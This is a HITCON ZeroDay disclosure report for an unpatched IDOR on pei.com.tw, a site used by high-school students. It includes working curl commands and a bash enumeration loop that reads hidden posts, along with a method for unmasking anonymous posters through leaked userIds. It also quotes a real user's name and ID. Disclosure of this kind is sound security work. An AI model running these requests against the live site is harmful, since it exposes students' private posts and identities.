pei.com.tw 未授權 IDOR — 可枚舉所有已刪除/隱藏貼文及匿名用戶去匿名化 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00519
  •  發信 Vendor: 壹一壹一科技股份有限公司
  • Title: pei.com.tw 未授權 IDOR — 可枚舉所有已刪除/隱藏貼文及匿名用戶去匿名化
  • Introduction: 未登入攻擊者可透過遞增整數 ID 讀取所有被管理員隱藏的貼文完整內容,並可透過 API 回應中洩漏的 userId 對匿名貼文進行去匿名化。

處理狀態

目前狀態

公開
Last Update : 2026/06/09
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2026/04/09 08:46:38 : 新提交 (由 yee3642 更新此狀態)
  • 2026/04/14 20:00:33 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/13 15:52:28 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/13 15:52:28 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/13 15:52:28 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/06/09 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00519
  • 通報者:yee3642 (yee3642)
  • 風險:高
  • 類型:不安全的直接存取物件 (Insecure Direct Object References, IDOR)

參考資料

攻擊者可經由該漏洞取得系統中的其他使用者的資料或是系統檔案。

OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References

Insecure Direct Object Reference Prevention Cheat Sheet
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.md

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://pei.com.tw/api/feed/3
https://pei.com.tw/api/feed/101
https://pei.com.tw/api/feed

敘述

漏洞一:IDOR — 未授權存取已隱藏貼文

漏洞說明

GET /api/feed/{id} 使用連續整數作為主鍵,且未對 isHidden: true 的貼文進行存取控制。
管理員刪除/隱藏的貼文,任何人無需登入即可透過直接 ID 存取完整內容。

重現步驟

無需任何 Token 或 Cookie

curl -s "https://pei.com.tw/api/feed/101"

回應內容(節錄)


  {
    "title": "求婚後對另一半心累",
    "content": "半年前求婚後開始規劃北海道之旅...",
    "isHidden": true,
    "isAnonymous": true,
    "adminEditReason": "版塊錯誤",
    "adminEditedAt": "2026-03-09 09:00:25",
    "author": { "id": 0, "name": "匿名" }
  }

  枚舉腳本

  for id in $(seq 1 3000); do
    curl -s "https://pei.com.tw/api/feed/$id" | grep -q '"isHidden":true' \
      && echo "隱藏貼文: https://pei.com.tw/api/feed/$id"
  done

  已確認隱藏貼文(無認證)

  ┌──────────┬──────────────┬──────────────────────────────┐
  │    ID    │   作者角色   │             說明             │
  ├──────────┼──────────────┼──────────────────────────────┤
  │ 3–11     │ super_admin  │ 管理員刪除的官方內容         │
  ├──────────┼──────────────┼──────────────────────────────┤
  │ 101      │ user(匿名) │ 用戶私人情感貼文,含刪除原因 │
  ├──────────┼──────────────┼──────────────────────────────┤
  │ 261, 432 │ user         │ 一般用戶被刪貼文             │
  └──────────┴──────────────┴──────────────────────────────┘

  額外洩漏:管理員帳號資訊

  隱藏貼文回應中暴露超級管理員帳號:
  { "id": 1, "name": "Admin", "role": "super_admin" }

  ---
  漏洞二:匿名貼文去匿名化

  漏洞說明

  GET /api/feed(無需登入)回應中,replyPreviews 陣列即使該回覆標記為 isAnonymous: true,仍包含真實 userId。
  攻擊者可在同一 API 回應中交叉比對非匿名貼文,還原匿名用戶真實身份。

  重現步驟

  curl -s "https://pei.com.tw/api/feed" | grep '"isAnonymous":true'
  # 可見 "userId":9703433665 等真實 ID

  交叉比對同一回應中非匿名貼文:
  { "id": 9703433665, "name": "艾倫|中山社會學系學長", "avatar": "/api/uploads/photos/9703433665_..." }

  影響

  - 匿名發表敏感內容(心理健康、感情、考試失利)的高中生可被任意識別真實身份

  ---
  影響範圍

  - 所有被刪除/隱藏的貼文完整內容可被公開讀取
  - 管理員審核決策(原因、時間)遭洩漏
  - 匿名用戶隱私保護完全失效
  - 超級管理員帳號 ID 暴露

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;